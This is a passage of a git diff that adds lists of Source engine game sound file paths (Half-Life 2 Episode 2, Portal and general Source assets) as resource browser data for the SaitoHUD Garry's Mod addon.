+commentary/ep2-comment050.wav +commentary/ep2-comment054.wav +commentary/ep2-comment055.wav +commentary/ep2-comment057.wav +commentary/ep2-comment058.wav +commentary/ep2-comment060.wav +commentary/ep2-comment064.wav +commentary/ep2-comment066.wav +commentary/ep2-comment067.wav +commentary/ep2-comment068.wav +commentary/ep2-comment069.wav +commentary/ep2-comment071.wav +commentary/ep2-comment072.wav +commentary/ep2-comment074.wav +commentary/ep2-comment075.wav +commentary/ep2-comment076.wav +commentary/ep2-comment077.wav +commentary/ep2-comment079.wav +commentary/ep2-comment081.wav +commentary/ep2-comment082.wav +commentary/ep2-comment084.wav +commentary/ep2-comment085.wav +commentary/ep2-comment086.wav +commentary/ep2-comment088.wav +commentary/ep2-comment089.wav +commentary/ep2-comment090.wav +commentary/ep2-comment091.wav +commentary/ep2-comment094.wav +commentary/ep2-comment095.wav +commentary/ep2-comment097.wav +commentary/ep2-comment099.wav +commentary/ep2-comment104.wav +commentary/ep2-comment105.wav +commentary/ep2-comment109.wav +commentary/ep2-comment110.wav +commentary/ep2-comment111.wav +commentary/ep2-comment112.wav +commentary/ep2-comment114.wav +commentary/ep2-comment116.wav +commentary/ep2-comment117.wav +commentary/ep2-comment118.wav +commentary/ep2-comment119.wav +commentary/ep2-comment121.wav +commentary/ep2-comment122.wav +commentary/ep2-comment124.wav +commentary/ep2-comment125.wav +commentary/ep2-comment126.wav +commentary/ep2-comment127.wav +commentary/ep2-comment129.wav +commentary/ep2-comment130.wav +commentary/ep2-comment132.wav +commentary/ep2-comment134.wav +commentary/ep2-comment140.wav +commentary/ep2-comment141.wav +commentary/ep2-comment143.wav +commentary/ep2-comment147.wav +commentary/ep2-comment149.wav +commentary/ep2-comment150.wav +commentary/ep2-comment151.wav +commentary/ep2-comment155.wav +commentary/ep2-comment156.wav +commentary/ep2-comment157.wav +commentary/ep2-comment158.wav +commentary/ep2-comment159.wav +commentary/ep2-comment160.wav +commentary/ep2-comment161.wav +commentary/ep2-comment162.wav +commentary/ep2-comment166.wav +commentary/ep2-comment167.wav +commentary/ep2-comment168.wav +commentary/ep2-comment169.wav +commentary/ep2-comment172.wav +commentary/ep2-comment176.wav +commentary/ep2-comment177.wav +commentary/ep2-comment180.wav +commentary/ep2-comment181.wav +commentary/ep2-comment182.wav +commentary/ep2-comment186.wav +commentary/ep2-comment187.wav +commentary/ep2-comment189.wav +commentary/ep2-comment191.wav +commentary/ep2-comment192.wav +commentary/ep2-comment194.wav +commentary/ep2-comment195.wav +commentary/ep2-comment196.wav +commentary/ep2-comment197.wav +commentary/ep2-comment200.wav +commentary/ep2-comment201.wav +commentary/ep2-comment202.wav +commentary/ep2-comment205.wav +commentary/ep2-comment206.wav +commentary/ep2-comment207.wav +commentary/ep2-comment208.wav +commentary/ep2-comment209.wav +commentary/ep2-comment215.wav +commentary/ep2-comment216.wav +commentary/ep2-comment217.wav +commentary/ep2-comment219.wav +commentary/ep2-comment221.wav +commentary/ep2-comment223.wav +commentary/ep2-comment225.wav +commentary/ep2-comment228.wav +commentary/ep2-comment229.wav +commentary/ep2-comment230.wav +commentary/ep2-comment233.wav +commentary/ep2-comment234.wav +commentary/ep2-comment235.wav +commentary/ep2-comment236.wav +commentary/ep2-comment237.wav +commentary/ep2-comment238.wav +commentary/ep2-comment239.wav +commentary/ep2-comment240.wav +commentary/ep2-comment241.wav +commentary/ep2-comment242.wav +commentary/ep2-comment243.wav +commentary/ep2-comment244.wav +commentary/ep2-comment245.wav +commentary/ep2-comment246.wav +commentary/ep2-comment247.wav +commentary/ep2-comment248.wav +commentary/ep2-comment250.wav +commentary/ep2-comment251.wav +commentary/ep2-comment252.wav +commentary/ep2-comment253.wav +commentary/ep2-comment254.wav +foley/Alyx_Hug_Eli.wav +foley/Alyx_Pat_Eli.wav +foley/ALYX_Sit_On_Couch.wav +foley/ELI_Fall_Against_table.wav +foley/ELI_Grab_Frame.wav +foley/ELI_Hand_Pat.wav +foley/ELI_Place_Frame.wav +foley/ELI_Sit_On_Couch.wav +foley/Mag_Hands_together.wav +foley/Vort_Beckon_2x.wav +music/VLVX_song0.mp3 +music/VLVX_Song15.mp3 +music/VLVX_song20.mp3 +music/VLVX_song22.mp3 +music/VLVX_song23.mp3 +music/VLVX_song23ambient.mp3 +music/VLVX_song24.mp3 +music/VLVX_song25.mp3 +music/VLVX_Song26.mp3 +music/VLVX_song27.mp3 +music/VLVX_song28.mp3 +music/VLVX_song3.mp3 +music/VLVX_song9.mp3 +npc/advisor/advisor_blast1.wav +npc/advisor/advisor_blast6.wav +npc/advisor/advisor_scream.wav +npc/antlion/antlion_burst1.wav +npc/antlion/antlion_burst2.wav +npc/antlion/antlion_poisonball1.wav +npc/antlion/antlion_poisonball2.wav +npc/antlion/antlion_preburst_scream1.wav +npc/antlion/antlion_preburst_scream2.wav +npc/antlion/antlion_preburst_scream_uw1.wav +npc/antlion/antlion_preburst_scream_uw2.wav +npc/antlion/antlion_shoot1.wav +npc/antlion/antlion_shoot2.wav +npc/antlion/antlion_shoot3.wav +npc/antlion_grub/agrub_alert1.wav +npc/antlion_grub/agrub_alert2.wav +npc/antlion_grub/agrub_alert3.wav +npc/antlion_grub/agrub_die1.wav +npc/antlion_grub/agrub_die2.wav +npc/antlion_grub/agrub_idle1.wav +npc/antlion_grub/agrub_idle3.wav +npc/antlion_grub/agrub_idle6.wav +npc/antlion_grub/agrub_idle8.wav +npc/antlion_grub/agrub_squish1.wav +npc/antlion_grub/agrub_squish2.wav +npc/antlion_grub/agrub_squish3.wav +npc/antlion_grub/agrub_stimulated1.wav +npc/antlion_grub/agrub_stimulated2.wav +npc/antlion_grub/agrub_stimulated3.wav +npc/antlion_guard/antlion_guard_pain1.wav +npc/antlion_guard/antlion_guard_pain2.wav +npc/antlion_guard/antlion_guard_shellcrack1.wav +npc/antlion_guard/antlion_guard_shellcrack2.wav +npc/attack_helicopter/aheli_crashing_loop1.wav +npc/attack_helicopter/aheli_mine_captured_loop1.wav +npc/fast_zombie/car_scream1.wav +npc/fast_zombie/Zombie_On_car_01.wav +npc/fast_zombie/Zombie_On_car_02.wav +npc/fast_zombie/Zombie_On_car_03.wav +npc/fast_zombie/Zombie_On_car_04.wav +npc/ministrider/body_medium_impact_hard1.wav +npc/ministrider/body_medium_impact_hard2.wav +npc/ministrider/body_medium_impact_hard3.wav +npc/ministrider/body_medium_impact_hard4.wav +npc/ministrider/body_medium_impact_hard5.wav +npc/ministrider/body_medium_impact_hard6.wav +npc/ministrider/flechetteLtoR01.wav +npc/ministrider/flechetteLtoR02.wav +npc/ministrider/flechetteLtoR03.wav +npc/ministrider/flechetteLtoR04.wav +npc/ministrider/flechette_explode1.wav +npc/ministrider/flechette_explode2.wav +npc/ministrider/flechette_explode3.wav +npc/ministrider/flechette_flesh_impact1.wav +npc/ministrider/flechette_flesh_impact2.wav +npc/ministrider/flechette_flesh_impact3.wav +npc/ministrider/flechette_flesh_impact4.wav +npc/ministrider/flechette_impact_stick1.wav +npc/ministrider/flechette_impact_stick2.wav +npc/ministrider/flechette_impact_stick3.wav +npc/ministrider/flechette_impact_stick4.wav +npc/ministrider/flechette_impact_stick5.wav +npc/ministrider/hunter_alert1.wav +npc/ministrider/hunter_alert2.wav +npc/ministrider/hunter_alert3.wav +npc/ministrider/hunter_angry1.wav +npc/ministrider/hunter_angry2.wav +npc/ministrider/hunter_angry3.wav +npc/ministrider/hunter_charge3.wav +npc/ministrider/hunter_charge4.wav +npc/ministrider/hunter_defendstrider1.wav +npc/ministrider/hunter_defendstrider2.wav +npc/ministrider/hunter_defendstrider3.wav +npc/ministrider/hunter_die2.wav +npc/ministrider/hunter_die3.wav +npc/ministrider/hunter_fire_loop3.wav +npc/ministrider/hunter_flank_announce1.wav +npc/ministrider/hunter_flank_announce2.wav +npc/ministrider/hunter_flechette_preexplode1.wav +npc/ministrider/hunter_flechette_preexplode2.wav +npc/ministrider/hunter_flechette_preexplode3.wav +npc/ministrider/hunter_foundenemy1.wav +npc/ministrider/hunter_foundenemy2.wav +npc/ministrider/hunter_foundenemy3.wav +npc/ministrider/hunter_foundenemy_ack1.wav +npc/ministrider/hunter_foundenemy_ack2.wav +npc/ministrider/hunter_foundenemy_ack3.wav +npc/ministrider/hunter_idle1.wav +npc/ministrider/hunter_idle2.wav +npc/ministrider/hunter_idle3.wav +npc/ministrider/hunter_laugh1.wav +npc/ministrider/hunter_laugh2.wav +npc/ministrider/hunter_laugh3.wav +npc/ministrider/hunter_laugh4.wav +npc/ministrider/hunter_laugh5.wav +npc/ministrider/hunter_pain2.wav +npc/ministrider/hunter_pain4.wav +npc/ministrider/hunter_prestrike1.wav +npc/ministrider/hunter_scan1.wav +npc/ministrider/hunter_scan2.wav +npc/ministrider/hunter_scan3.wav +npc/ministrider/hunter_scan4.wav +npc/ministrider/ministrider_fire1.wav +npc/ministrider/ministrider_footstep1.wav +npc/ministrider/ministrider_footstep2.wav +npc/ministrider/ministrider_footstep3.wav +npc/ministrider/ministrider_footstep4.wav +npc/ministrider/ministrider_footstep5.wav +npc/ministrider/ministrider_preflechette.wav +npc/ministrider/ministrider_skewer1.wav +npc/strider/strider_step1.wav +npc/strider/strider_step2.wav +npc/strider/strider_step3.wav +npc/strider/strider_step4.wav +npc/strider/strider_step5.wav +npc/strider/strider_step6.wav +npc/turret_floor/detonate.wav +npc/vort/attack_shoot.wav +npc/vort/OL02DblChant02.wav +npc/vort/OL02SingleChant01.wav +npc/vort/OL02SingleChant02.wav +npc/vort/OL02SingleChant03.wav +npc/vort/VortHealSingle_Loop.wav +npc/vort/vort_attack_shoot1.wav +npc/vort/vort_attack_shoot2.wav +npc/vort/vort_attack_shoot3.wav +npc/vort/vort_attack_shoot4.wav +npc/vort/vort_dispell.wav +npc/vort/vort_explode1.wav +npc/vort/vort_explode2.wav +npc/vort/vort_foot1.wav +npc/vort/vort_foot2.wav +npc/vort/vort_foot3.wav +npc/vort/vort_foot4.wav +vehicles/junker/Alyx_Enter_Driver.wav +vehicles/junker/jnk_first.wav +vehicles/junker/jnk_firstgear_rev_loop1.wav +vehicles/junker/jnk_fourth_cruise_loop2.wav +vehicles/junker/jnk_idle_loop1.wav +vehicles/junker/jnk_rev_short_loop1.wav +vehicles/junker/jnk_second.wav +vehicles/junker/jnk_start_loop1.wav +vehicles/junker/jnk_stop1.wav +vehicles/junker/jnk_third.wav +vehicles/junker/jnk_throttle_off_fast_loop1.wav +vehicles/junker/jnk_throttle_off_slow_loop2.wav +vehicles/junker/jnk_turbo_on_loop1.wav +vehicles/junker/radar_ping_friendly1.wav +vehicles/junker/skid_lowfriction_nostartdelay.wav +vehicles/junker/skid_normalfriction_nostartdelay.wav +vo/npc/vortigaunt/alert_antlions.wav +vo/outland_01/intro/OL01_VortCall01.wav +vo/outland_01/intro/OL01_VortCall02c.wav +vo/outland_01/intro/OL01_VortResp01.wav +vo/outland_01/intro/OL01_VortResp04.wav +vo/outland_02/sheckley_cover12.wav +vo/outland_02/sheckley_cover24.wav +weapons/pistol/pistol_reload1.wav +weapons/strider_buster/OL12_StickyBombCreator.wav +weapons/strider_buster/Strider_Buster_detonate.wav +weapons/strider_buster/Strider_Buster_stick1.wav diff --git a/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/portal.txt b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/portal.txt new file mode 100644 index 0000000..86df594 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/portal.txt @@ -0,0 +1,199 @@ +ambient/dinosaur1.wav +ambient/dinosaur10.wav +ambient/dinosaur11.wav +ambient/dinosaur12.wav +ambient/dinosaur13.wav +ambient/dinosaur14.wav +ambient/dinosaur15.wav +ambient/dinosaur16.wav +ambient/dinosaur17.wav +ambient/dinosaur18.wav +ambient/dinosaur19.wav +ambient/dinosaur2.wav +ambient/dinosaur20.wav +ambient/dinosaur21.wav +ambient/dinosaur22.wav +ambient/dinosaur23.wav +ambient/dinosaur24.wav +ambient/dinosaur25.wav +ambient/dinosaur26.wav +ambient/dinosaur3.wav +ambient/dinosaur4.wav +ambient/dinosaur5.wav +ambient/dinosaur6.wav +ambient/dinosaur7.wav +ambient/dinosaur8.wav +ambient/dinosaur9.wav +ambient/dinosaur_fizzle.wav +ambient/dinosaur_fizzle2.wav +ambient/dinosaur_fizzle3.wav +ambient/dinosaur_noise.wav +ambient/alarms/portal_elevator_chime.wav +ambient/machines/beam_platform_loop1.wav +ambient/machines/body_drag_01.wav +ambient/machines/fan4.wav +ambient/machines/fluorescent_hum_1.wav +ambient/machines/fluorescent_hum_2.wav +ambient/machines/p1_drag_intro_01.wav +ambient/machines/portalgun_rotate1.wav +ambient/machines/portalgun_rotate_loop1.wav +ambient/machines/tick1.wav +ambient/machines/ticktock1.wav +ambient/machines/usetoilet_thank.wav +ambient/music/looping_radio_mix.wav +ambient/wind/tube_suck.wav +commentary/prtl-comment000.wav +commentary/prtl-comment001.wav +commentary/prtl-comment002.wav +commentary/prtl-comment004.wav +commentary/prtl-comment005.wav +commentary/prtl-comment006.wav +commentary/prtl-comment007.wav +commentary/prtl-comment008.wav +commentary/prtl-comment009.wav +commentary/prtl-comment010.wav +commentary/prtl-comment012.wav +commentary/prtl-comment013.wav +commentary/prtl-comment014.wav +commentary/prtl-comment015.wav +commentary/prtl-comment016.wav +commentary/prtl-comment017.wav +commentary/prtl-comment018.wav +commentary/prtl-comment019.wav +commentary/prtl-comment020.wav +commentary/prtl-comment021.wav +commentary/prtl-comment022.wav +commentary/prtl-comment023.wav +commentary/prtl-comment024.wav +commentary/prtl-comment026.wav +commentary/prtl-comment027.wav +commentary/prtl-comment029.wav +commentary/prtl-comment032.wav +commentary/prtl-comment035.wav +commentary/prtl-comment036.wav +commentary/prtl-comment038.wav +commentary/prtl-comment040.wav +commentary/prtl-comment041.wav +commentary/prtl-comment043.wav +commentary/prtl-comment044.wav +commentary/prtl-comment048.wav +commentary/prtl-comment051.wav +commentary/prtl-comment053.wav +commentary/prtl-comment054.wav +commentary/prtl-comment056.wav +commentary/prtl-comment057.wav +commentary/prtl-comment058.wav +commentary/prtl-comment059.wav +commentary/prtl-comment060.wav +commentary/prtl-comment061.wav +commentary/prtl-comment063.wav +commentary/prtl-comment066.wav +commentary/prtl-comment068.wav +commentary/prtl-comment069.wav +commentary/prtl-comment070.wav +commentary/prtl-comment071.wav +commentary/prtl-comment072.wav +commentary/prtl-comment074.wav +commentary/prtl-comment076.wav +commentary/prtl-comment077.wav +commentary/prtl-comment080.wav +commentary/prtl-comment083.wav +commentary/prtl-comment084.wav +commentary/prtl-comment094.wav +commentary/prtl-comment095.wav +commentary/prtl-comment096.wav +commentary/prtl-comment097.wav +commentary/prtl-comment098.wav +commentary/prtl-comment101.wav +commentary/prtl-comment102.wav +commentary/prtl-comment103.wav +commentary/prtl-comment104.wav +commentary/prtl-comment105.wav +commentary/prtl-comment106.wav +commentary/prtl-comment107.wav +music/portal_4000_degrees_kelvin.mp3 +music/portal_android_hell.mp3 +music/portal_no_cake_for_you.mp3 +music/portal_party_escort.mp3 +music/portal_procedural_jiggle_bone.mp3 +music/portal_self_esteem_fund.mp3 +music/portal_still_alive.mp3 +music/portal_stop_what_you_are_doing.mp3 +music/portal_subject_name_here.mp3 +music/portal_taste_of_blood.mp3 +music/portal_youre_not_a_good_person.mp3 +music/portal_you_cant_escape_you_know.mp3 +npc/PartyEscort.wav +player/fling_whoosh.wav +player/futureshoes1.wav +player/futureshoes2.wav +player/portal_enter1.wav +player/portal_enter2.wav +player/portal_exit1.wav +player/portal_exit2.wav +vo/aperture_ai/ding_off.wav +vo/aperture_ai/ding_on.wav +vo/aperture_ai/escape_02_ballhitpain-02.wav +vo/aperture_ai/escape_02_sphere_anger-00.wav +vo/aperture_ai/escape_02_sphere_anger-01.wav +vo/aperture_ai/escape_02_sphere_anger-02.wav +vo/aperture_ai/escape_02_sphere_anger-03.wav +vo/aperture_ai/escape_02_sphere_anger-04.wav +vo/aperture_ai/escape_02_sphere_anger-05.wav +vo/aperture_ai/escape_02_sphere_anger-06.wav +vo/aperture_ai/escape_02_sphere_anger-07.wav +vo/aperture_ai/escape_02_sphere_anger-08.wav +vo/aperture_ai/escape_02_sphere_anger-09.wav +vo/aperture_ai/escape_02_sphere_anger-10.wav +vo/aperture_ai/escape_02_sphere_anger-11.wav +vo/aperture_ai/escape_02_sphere_anger-12.wav +vo/aperture_ai/escape_02_sphere_anger-13.wav +vo/aperture_ai/escape_02_sphere_anger-14.wav +vo/aperture_ai/escape_02_sphere_anger-15.wav +vo/aperture_ai/escape_02_sphere_anger-16.wav +vo/aperture_ai/escape_02_sphere_anger-17.wav +vo/aperture_ai/escape_02_sphere_anger-18.wav +vo/aperture_ai/escape_02_sphere_anger-19.wav +vo/aperture_ai/escape_02_sphere_anger-20.wav +vo/aperture_ai/escape_02_sphere_anger-21.wav +vo/aperture_ai/escape_02_sphere_anger-near_fire01.wav +vo/aperture_ai/escape_02_sphere_anger-near_fire02.wav +vo/aperture_ai/escape_02_sphere_Death_Scream.wav +vo/aperture_ai/file_deleted.wav +vo/escape/portal_escape_seg01-1.wav +vo/escape/portal_escape_seg01-2.wav +vo/escape/portal_escape_seg01-3.wav +vo/escape/portal_escape_seg01-4.wav +vo/escape/portal_escape_seg01-5.wav +vo/escape/portal_escape_seg01-6.wav +vo/escape/portal_escape_seg02-1.wav +vo/escape/portal_escape_seg02-2.wav +vo/escape/portal_escape_seg02-3.wav +vo/escape/portal_escape_seg02-4.wav +vo/escape/portal_escape_seg03-1.wav +vo/escape/portal_escape_seg03-2.wav +vo/escape/portal_escape_seg03-3.wav +vo/escape/portal_escape_seg03-4.wav +vo/escape/portal_escape_seg03-5.wav +vo/escape/portal_escape_seg03-6.wav +weapons/alyx_gun/alyx_gun_fire3.wav +weapons/alyx_gun/alyx_gun_fire4.wav +weapons/alyx_gun/alyx_gun_fire5.wav +weapons/alyx_gun/alyx_gun_fire6.wav +weapons/alyx_gun/alyx_shotgun_cock1.wav +weapons/physcannon/superphys_chargeup.wav +weapons/portalgun/portalgun_powerup1.wav +weapons/portalgun/portalgun_shoot_blue1.wav +weapons/portalgun/portalgun_shoot_red1.wav +weapons/portalgun/portal_ambient_loop1.wav +weapons/portalgun/portal_close1.wav +weapons/portalgun/portal_close2.wav +weapons/portalgun/portal_fizzle2.wav +weapons/portalgun/portal_invalid_surface3.wav +weapons/portalgun/portal_open1.wav +weapons/portalgun/portal_open2.wav +weapons/portalgun/portal_open3.wav +weapons/rocket/rocket_fire1.wav +weapons/rocket/rocket_fly_loop1.wav +weapons/rocket/rocket_locked_beep1.wav +weapons/rocket/rocket_locking_beep1.wav diff --git a/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/source.txt b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/source.txt new file mode 100644 index 0000000..322490d --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/source.txt @@ -0,0 +1,5514 @@ +ambient/_period.wav +ambient/alarms/alarm1.wav +ambient/alarms/alarm_citizen_loop1.wav +ambient/alarms/apc_alarm_loop1.wav +ambient/alarms/apc_alarm_pass1.wav +ambient/alarms/citadel_alert_loop2.wav +ambient/alarms/city_firebell_loop1.wav +ambient/alarms/city_siren_loop2.wav +ambient/alarms/combine_bank_alarm_loop1.wav +ambient/alarms/combine_bank_alarm_loop4.wav +ambient/alarms/klaxon1.wav +ambient/alarms/manhack_alert_pass1.wav +ambient/alarms/razortrain_horn1.wav +ambient/alarms/scanner_alert_pass1.wav +ambient/alarms/siren.wav +ambient/alarms/train_crossing_bell_loop1.wav +ambient/alarms/train_horn2.wav +ambient/alarms/train_horn_distant1.wav +ambient/alarms/warningbell1.wav +ambient/atmosphere/ambience5.wav +ambient/atmosphere/ambience6.wav +ambient/atmosphere/ambience_base.wav +ambient/atmosphere/captain_room.wav +ambient/atmosphere/cargo_hold1.wav +ambient/atmosphere/cargo_hold2.wav +ambient/atmosphere/cave_hit1.wav +ambient/atmosphere/cave_hit2.wav +ambient/atmosphere/cave_hit3.wav +ambient/atmosphere/cave_hit4.wav +ambient/atmosphere/cave_hit5.wav +ambient/atmosphere/cave_hit6.wav +ambient/atmosphere/cave_outdoor1.wav +ambient/atmosphere/city_beacon_loop1.wav +ambient/atmosphere/city_rumble_loop1.wav +ambient/atmosphere/city_skybeam1.wav +ambient/atmosphere/city_skypass1.wav +ambient/atmosphere/city_tone.wav +ambient/atmosphere/city_truckpass1.wav +ambient/atmosphere/corridor.wav +ambient/atmosphere/corridor2.wav +ambient/atmosphere/Drone1LP.wav +ambient/atmosphere/Drone2LP.wav +ambient/atmosphere/Drone4LP.wav +ambient/atmosphere/elev_shaft1.wav +ambient/atmosphere/engine_room.wav +ambient/atmosphere/hole_amb3.wav +ambient/atmosphere/hole_hit1.wav +ambient/atmosphere/hole_hit2.wav +ambient/atmosphere/hole_hit3.wav +ambient/atmosphere/hole_hit4.wav +ambient/atmosphere/hole_hit5.wav +ambient/atmosphere/indoor1.wav +ambient/atmosphere/indoor2.wav +ambient/atmosphere/laundry_amb.wav +ambient/atmosphere/metallic1.wav +ambient/atmosphere/metallic2.wav +ambient/atmosphere/noise2.wav +ambient/atmosphere/outdoor2.wav +ambient/atmosphere/pipe1.wav +ambient/atmosphere/plaza_amb.wav +ambient/atmosphere/quiet_cellblock_amb.wav +ambient/atmosphere/sewer_air1.wav +ambient/atmosphere/station_ambience_loop2.wav +ambient/atmosphere/station_ambience_loop4.wav +ambient/atmosphere/station_ambience_stereo_loop1.wav +ambient/atmosphere/terrain_rumble1.wav +ambient/atmosphere/thunder1.wav +ambient/atmosphere/thunder2.wav +ambient/atmosphere/thunder3.wav +ambient/atmosphere/thunder4.wav +ambient/atmosphere/tone_alley.wav +ambient/atmosphere/tone_quiet.wav +ambient/atmosphere/town_ambience.wav +ambient/atmosphere/trainstation_ambient_loop1.wav +ambient/atmosphere/tunnel1.wav +ambient/atmosphere/undercity_loop1.wav +ambient/atmosphere/underground.wav +ambient/atmosphere/underground_hall_loop1.wav +ambient/creatures/flies1.wav +ambient/creatures/flies2.wav +ambient/creatures/flies3.wav +ambient/creatures/flies4.wav +ambient/creatures/flies5.wav +ambient/creatures/leech_bites_loop1.wav +ambient/creatures/leech_water_churn_loop2.wav +ambient/creatures/pigeon_idle1.wav +ambient/creatures/pigeon_idle2.wav +ambient/creatures/pigeon_idle3.wav +ambient/creatures/pigeon_idle4.wav +ambient/creatures/rats1.wav +ambient/creatures/rats2.wav +ambient/creatures/rats3.wav +ambient/creatures/rats4.wav +ambient/creatures/seagull_idle1.wav +ambient/creatures/seagull_idle2.wav +ambient/creatures/seagull_idle3.wav +ambient/creatures/seagull_pain1.wav +ambient/creatures/seagull_pain2.wav +ambient/creatures/seagull_pain3.wav +ambient/creatures/teddy.wav +ambient/creatures/town_child_scream1.wav +ambient/creatures/town_moan1.wav +ambient/creatures/town_muffled_cry1.wav +ambient/creatures/town_scared_breathing1.wav +ambient/creatures/town_scared_breathing2.wav +ambient/creatures/town_scared_sob1.wav +ambient/creatures/town_scared_sob2.wav +ambient/creatures/town_zombie_call1.wav +ambient/energy/electric_loop.wav +ambient/energy/force_field_loop1.wav +ambient/energy/spark1.wav +ambient/energy/spark2.wav +ambient/energy/spark3.wav +ambient/energy/spark4.wav +ambient/energy/spark5.wav +ambient/energy/spark6.wav +ambient/energy/weld1.wav +ambient/energy/weld2.wav +ambient/energy/whiteflash.wav +ambient/energy/zap1.wav +ambient/energy/zap2.wav +ambient/energy/zap3.wav +ambient/energy/zap5.wav +ambient/energy/zap6.wav +ambient/energy/zap7.wav +ambient/energy/zap8.wav +ambient/energy/zap9.wav +ambient/explosions/battle_loop1.wav +ambient/explosions/battle_loop2.wav +ambient/explosions/citadel_end_explosion1.wav +ambient/explosions/citadel_end_explosion2.wav +ambient/explosions/exp1.wav +ambient/explosions/exp2.wav +ambient/explosions/exp3.wav +ambient/explosions/exp4.wav +ambient/explosions/explode_1.wav +ambient/explosions/explode_2.wav +ambient/explosions/explode_3.wav +ambient/explosions/explode_4.wav +ambient/explosions/explode_5.wav +ambient/explosions/explode_6.wav +ambient/explosions/explode_7.wav +ambient/explosions/explode_8.wav +ambient/explosions/explode_9.wav +ambient/fire/firebig.wav +ambient/fire/fire_big_loop1.wav +ambient/fire/fire_med_loop1.wav +ambient/fire/fire_small1.wav +ambient/fire/fire_small_loop1.wav +ambient/fire/fire_small_loop2.wav +ambient/fire/gascan_ignite1.wav +ambient/fire/ignite.wav +ambient/fire/mtov_flame2.wav +ambient/gas/cannister_loop.wav +ambient/gas/steam2.wav +ambient/gas/steam_loop1.wav +ambient/levels/canals/critter1.wav +ambient/levels/canals/critter2.wav +ambient/levels/canals/critter3.wav +ambient/levels/canals/critter4.wav +ambient/levels/canals/critter5.wav +ambient/levels/canals/critter6.wav +ambient/levels/canals/critter7.wav +ambient/levels/canals/critter8.wav +ambient/levels/canals/dam_water_loop2.wav +ambient/levels/canals/drip1.wav +ambient/levels/canals/drip2.wav +ambient/levels/canals/drip3.wav +ambient/levels/canals/drip4.wav +ambient/levels/canals/generator_ambience_loop1.wav +ambient/levels/canals/headcrab_canister_ambient1.wav +ambient/levels/canals/headcrab_canister_ambient2.wav +ambient/levels/canals/headcrab_canister_ambient3.wav +ambient/levels/canals/headcrab_canister_ambient4.wav +ambient/levels/canals/headcrab_canister_ambient5.wav +ambient/levels/canals/headcrab_canister_ambient6.wav +ambient/levels/canals/headcrab_canister_open1.wav +ambient/levels/canals/manhack_machine_loop1.wav +ambient/levels/canals/shore1.wav +ambient/levels/canals/shore2.wav +ambient/levels/canals/shore3.wav +ambient/levels/canals/shore4.wav +ambient/levels/canals/swamp_bird1.wav +ambient/levels/canals/swamp_bird2.wav +ambient/levels/canals/swamp_bird3.wav +ambient/levels/canals/swamp_bird4.wav +ambient/levels/canals/swamp_bird5.wav +ambient/levels/canals/swamp_bird6.wav +ambient/levels/canals/swamp_frogs_loop2.wav +ambient/levels/canals/swamp_stereo_frogs_loop1.wav +ambient/levels/canals/toxic_slime_gurgle2.wav +ambient/levels/canals/toxic_slime_gurgle3.wav +ambient/levels/canals/toxic_slime_gurgle4.wav +ambient/levels/canals/toxic_slime_gurgle5.wav +ambient/levels/canals/toxic_slime_gurgle6.wav +ambient/levels/canals/toxic_slime_gurgle7.wav +ambient/levels/canals/toxic_slime_gurgle8.wav +ambient/levels/canals/toxic_slime_loop1.wav +ambient/levels/canals/toxic_slime_sizzle1.wav +ambient/levels/canals/toxic_slime_sizzle2.wav +ambient/levels/canals/toxic_slime_sizzle3.wav +ambient/levels/canals/toxic_slime_sizzle4.wav +ambient/levels/canals/tunnel_wind_loop1.wav +ambient/levels/canals/waterleak_loop1.wav +ambient/levels/canals/water_rivulet_loop2.wav +ambient/levels/canals/windchime2.wav +ambient/levels/canals/windchime4.wav +ambient/levels/canals/windchime5.wav +ambient/levels/canals/windchine1.wav +ambient/levels/canals/windmill_wind_loop1.wav +ambient/levels/citadel/citadel_ambient_scream_loop1.wav +ambient/levels/citadel/citadel_ambient_voices1.wav +ambient/levels/citadel/citadel_drone_loop1.wav +ambient/levels/citadel/citadel_drone_loop2.wav +ambient/levels/citadel/citadel_drone_loop3.wav +ambient/levels/citadel/citadel_drone_loop4.wav +ambient/levels/citadel/citadel_drone_loop5.wav +ambient/levels/citadel/citadel_drone_loop6.wav +ambient/levels/citadel/citadel_flyer1.wav +ambient/levels/citadel/citadel_hit1_adpcm.wav +ambient/levels/citadel/citadel_hub_ambience1.mp3 +ambient/levels/citadel/Drone1LP.wav +ambient/levels/citadel/extract_loop1.wav +ambient/levels/citadel/field_loop1.wav +ambient/levels/citadel/field_loop2.wav +ambient/levels/citadel/field_loop3.wav +ambient/levels/citadel/many_pods_loop1_adpcm.wav +ambient/levels/citadel/pod_close1.wav +ambient/levels/citadel/pod_open1.wav +ambient/levels/citadel/portal_beam_loop1.wav +ambient/levels/citadel/portal_beam_shoot1.wav +ambient/levels/citadel/portal_beam_shoot2.wav +ambient/levels/citadel/portal_beam_shoot3.wav +ambient/levels/citadel/portal_beam_shoot4.wav +ambient/levels/citadel/portal_beam_shoot5.wav +ambient/levels/citadel/portal_beam_shoot6.wav +ambient/levels/citadel/portal_open1_adpcm.wav +ambient/levels/citadel/strange_talk1.wav +ambient/levels/citadel/strange_talk10.wav +ambient/levels/citadel/strange_talk11.wav +ambient/levels/citadel/strange_talk3.wav +ambient/levels/citadel/strange_talk4.wav +ambient/levels/citadel/strange_talk5.wav +ambient/levels/citadel/strange_talk6.wav +ambient/levels/citadel/strange_talk7.wav +ambient/levels/citadel/strange_talk8.wav +ambient/levels/citadel/strange_talk9.wav +ambient/levels/citadel/teleport_windup_loop1.wav +ambient/levels/citadel/weaponstrip1_adpcm.wav +ambient/levels/citadel/weapon_disintegrate1.wav +ambient/levels/citadel/weapon_disintegrate2.wav +ambient/levels/citadel/weapon_disintegrate3.wav +ambient/levels/citadel/weapon_disintegrate4.wav +ambient/levels/citadel/zapper_ambient_loop1.wav +ambient/levels/citadel/zapper_loop1.wav +ambient/levels/citadel/zapper_loop2.wav +ambient/levels/citadel/zapper_warmup1.wav +ambient/levels/citadel/zapper_warmup4.wav +ambient/levels/coast/antlion_hill_ambient1.wav +ambient/levels/coast/antlion_hill_ambient2.wav +ambient/levels/coast/antlion_hill_ambient4.wav +ambient/levels/coast/coastbird1.wav +ambient/levels/coast/coastbird2.wav +ambient/levels/coast/coastbird3.wav +ambient/levels/coast/coastbird4.wav +ambient/levels/coast/coastbird5.wav +ambient/levels/coast/coastbird6.wav +ambient/levels/coast/coastbird7.wav 